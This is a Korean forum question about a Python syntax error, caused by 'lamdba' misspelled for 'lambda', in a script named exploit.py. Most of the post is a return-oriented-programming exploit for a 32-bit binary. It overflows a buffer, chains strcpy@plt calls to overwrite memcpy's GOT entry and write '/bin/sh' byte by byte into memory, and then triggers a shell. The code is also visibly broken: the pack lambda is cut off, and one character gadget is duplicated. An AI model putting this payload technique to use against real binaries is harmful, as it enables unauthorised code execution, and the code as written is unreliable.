파이썬 lamdba error

qkrwncks593의 이미지

파이썬에서 lamdba 를 사용하면 계속 에러가나서 코드가 동작하지않습니다.

$ python ./exploit.py
File "./exploit.py", line 4
p = lamdba x : pack("

빅엔디에서 리틀로 변환하는 작업이 필요한데 lamdba 를 사용하면 에러가떠서 도움부탁드립니다.

from struct import pack
import os

p = lamdba x : pack("

strcpy_plt = 0x08048494
memcpy_plt = 0x08048434
memcpy_got = 0x08049888
dst_data = 0x080498b4
PPR = 0x0804854f

gadget1 = 0x080482c8 # 75
gadget2 = 0x080483b8 # 07
gadget3 = 0x08048535 # c0
gadget4 = 0x08049873 # 00

gadget01 = 0x08048114 # '/'
gadget02 = 0x08048117 # 'b'
gadget03 = 0x08048116 # 'i'
gadget04 = 0x08048318 # 'n'
gadget05 = 0x08048114 # '/'
gadget06 = 0x08048122 # 's'
gadget07 = 0x0804836c # 'h'
gadget08 = 0x08049873 # NULL

payload = ""
payload += "\x90"*268
payload += p(strcpy_plt) + p(PPR) + p(memcpy_got) + p(gadget1)
payload += p(strcpy_plt) + p(PPR) + p(memcpy_got+1) + p(gadget2)
payload += p(strcpy_plt) + p(PPR) + p(memcpy_got+2) + p(gadget3)
payload += p(strcpy_plt) + p(PPR) + p(memcpy_got+3) + p(gadget4)

payload += p(strcpy_plt) + p(PPR) + p(dst_data) + p(gadget01)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+1) + p(gadget02)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+2) + p(gadget03)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+3) + p(gadget03)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+4) + p(gadget04)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+5) + p(gadget05)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+6) + p(gadget06)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+7) + p(gadget07)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+8) + p(gadget08)
payload += p(memcpy_plt) + p(PPR) + p(dst_data)

print(payload)